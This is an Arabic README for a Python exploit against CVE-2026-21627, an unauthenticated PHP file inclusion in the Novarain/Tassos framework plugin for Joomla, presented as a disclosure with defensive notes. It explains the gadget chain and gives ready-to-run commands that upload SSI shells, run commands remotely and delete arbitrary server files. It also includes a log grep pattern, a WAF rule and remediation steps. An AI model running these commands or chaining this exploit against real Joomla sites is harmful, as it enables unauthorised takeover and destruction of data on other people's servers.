
استغلال Python لثغرة CVE-2026-21627، وهي إدراج ملف PHP تعسفي غير مصادق عليه في إطار Novarain الخاص بـ Joomla، مما يتيح رفع الملفات وحذفها وتنفيذ الأوامر عن بُعد (RCE).
تضمين ملفات تعسفي غير مصادق عليه في إطار Novarain الخاص بـ Joomla (nrframework)
ثغرة أمنية حرجة في إضافة Tassos/Novarain Framework (plg_system_nrframework) الخاصة بـ Joomla تسمح للمهاجمين غير المصادق عليهم بتضمين ملفات PHP تعسفية على الخادم، وإنشاء كائنات (classes) تعسفية، وسلسلة مع كائنات أدوات (gadget classes) مدمجة لتحقيق رفع ملفات تعسفي وحذف ملفات تعسفي — كل ذلك دون الحاجة إلى مصادقة.
| معرف CVE | CVE-2026-21627 |
| درجة CVSS | 9.5 (حرجة) |
| الإضافة | plg_system_nrframework (Tassos Framework / Novarain Framework) |
| الإصدارات المتأثرة | 4.10.14 حتى 6.0.37 |
| الإصدار المُصلَح | 6.0.38+ |
| نظام إدارة المحتوى | Joomla 3.x, 4.x, 5.x |
إضافة nrframework مدمجة مع عدة إضافات Joomla شائعة من Tassos.gr بما في ذلك Convert Forms وEngage Box وGoogle Structured Data وغيرها.
طريقة ajaxTaskInclude() في ملف nrframework.php مُدرجة صراحةً في القائمة البيضاء للوصول من الواجهة الأمامية (غير الإدارية) عبر مصفوفة $non_admin_tasks. تقبل هذه الطريقة ثلاثة معاملات يتحكم بها المستخدم:
path — تستخدم مرشح الإدخال RAW (بدون أي تعقيم، مع إمكانية اجتياز المسار)file — تستخدم مرشح الإدخال الافتراضي لـ Joomlaclass — اسم الكائن (class) الذي سيتم إنشاؤه بعد التضمينالمسار المُدمج $path . $file . '.php' يُمرَّر مباشرةً إلى @include_once، مما يتيح تضمين ملفات PHP تعسفية. بعد التضمين، يتم إنشاء الكائن المحدد واستدعاء طريقته onAJAX() مع معاملات يتحكم بها المستخدم.
| البدائية | الأداة (Gadget) | الخطورة | الوصف |
|---|---|---|---|
| تضمين الملفات | ajaxTaskInclude() | حرجة | تضمين أي ملف .php على الخادم |
| حذف الملفات | JFormFieldNRInlineFileUpload::onRemove() | حرجة | unlink() بدون التحقق من المسار — حذف أي ملف قابل للكتابة بواسطة خادم الويب |
| رفع الملفات | JFormFieldNRInlineFileUpload::onUpload() | عالية | رفع ملفات نصية إلى أي دليل قابل للكتابة ويمكن الوصول إليه عبر الويب |
| كشف المسار | استجابة الرفع | متوسطة | تسريب مسار نظام الملفات الكامل في استجابة JSON |
python3 cve_2026_21627.py --target <URL> --mode <MODE> [OPTIONS]
| الوضع | الوصف | الخطورة |
|---|---|---|
verify | تأكيد وجود الثغرة | آمن / للقراءة فقط |
upload | رفع ملف إلى دليل مُتحكم به | متوسطة |
delete | حذف ملف تعسفي على الخادم | تدميري |
rce | محاولة سلسلة تنفيذ أوامر كاملة (رفع + تنفيذ) | عالية |
info | تضمين ملف PHP تعسفي للاستطلاع | متوسطة |
التحقق من الثغرة:
python3 cve_2026_21627.py --target https://example.com --mode verify
رفع ملف إثبات المفهوم:
python3 cve_2026_21627.py --target https://example.com --mode upload --shell-type txt
رفع قشرة SSI (يتطلب Apache mod_include):
python3 cve_2026_21627.py --target https://example.com --mode upload --shell-type shtml
محاولة سلسلة تنفيذ الأوامر:
python3 cve_2026_21627.py --target https://example.com --mode rce --cmd "id"
حذف ملف (تدميري):
python3 cve_2026_21627.py --target https://example.com --mode delete --file-path /var/www/html/test.txt
--target, -t عنوان URL الهدف (مطلوب)
--mode, -m وضع الاستغلال: verify|upload|delete|rce|info (مطلوب)
--sef-prefix بادئة عنوان SEF الخاص بـ Joomla (الافتراضي: /it/)
--delay التأخير بين الطلبات بالثواني (الافتراضي: 2.5)
--proxy وكيل HTTP (مثال: http://127.0.0.1:8080)
--no-ssl-verify تعطيل التحقق من شهادة SSL
وضع الرفع:
--shell-type نوع الملف: shtml|csv|txt|html (الافتراضي: shtml)
--upload-dir دليل الرفع نسبةً إلى JPATH_ROOT (الافتراضي: images)
--custom-content محتوى مخصص للملف المراد رفعه
وضع الحذف:
--file-path المسار الكامل على الخادم للملف المراد حذفه
وضع RCE:
--cmd الأمر المراد تنفيذه (الافتراضي: id)
وضع المعلومات:
--php-path مسار ملف PHP نسبةً إلى JPATH_SITE
--php-file اسم ملف PHP بدون امتداد .php
--php-class كائن PHP المراد إنشاؤه
┌──────────────┐ ┌───────────────────┐ ┌─────────────────────┐
│ المهاجم │───>│ onAjaxNrframework │───>│ ajaxTaskInclude() │
│ │ │ (موجه AJAX) │ │ │
│ task=include │ │ include مُدرج في │ │ path = إدخال RAW │
│ path=... │ │ $non_admin_tasks │ │ @include_once $path │
│ file=... │ │ (بدون مصادقة) │ │ new $class()->onAJAX│
│ class=... │ └───────────────────┘ └──────────┬──────────┘
└──────────────┘ │
v
┌─────────────────────────────────────┐
│ JFormFieldNRInlineFileUpload │
│ (كائن الأداة) │
│ │
│ onAjax() ──> onUpload() [كتابة] │
│ ──> onRemove() [حذف] │
└─────────────────────────────────────┘
include مع path مُتحكم به (مرشح RAW = بدون تعقيم) يشير إلى ملف الأداة.JFormFieldNRInlineFileUpload المُضمَّن دالة onUpload() لكتابة الملفات وonRemove() لحذف الملفات، وكلاهما مع تحقق غير كافٍ من الإدخال.requestspip install requests
راقب سجلات الوصول لمحاولات الاستغلال:
# نمط سجل Apache/Nginx
grep -E "option=com_ajax.*plugin=nrframework.*task=include" access.log
قاعدة WAF — حظر الطلبات المطابقة لما يلي:
option=com_ajax.*plugin=nrframework.*task=include.*path=
تدقيق ما بعد الاختراق:
images/ والأدلة الأخرى القابلة للكتابة بحثًا عن ملفات غير متوقعةconfiguration.php و.htaccess@include_onceajaxTaskInclude() بالكامل ويستبدلها بسجل معالجات صارم (AjaxHandlerRegistry)| التاريخ | الحدث |
|---|---|
| 2026-02 | اكتشاف الثغرة أثناء اختبار اختراق مُصرح به |
| 2026-02 | إنشاء الاستغلال |
| 2026-02 | الكشف العلني |
تُقدَّم هذه الأداة لأغراض اختبار الأمان المُصرح به والتعليم فقط. استخدم هذا الاستغلال فقط ضد الأنظمة التي لديك إذن كتابي صريح لاختبارها. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام.
Yallasec — yallasec.com
Arcangelo Saracino — @arkango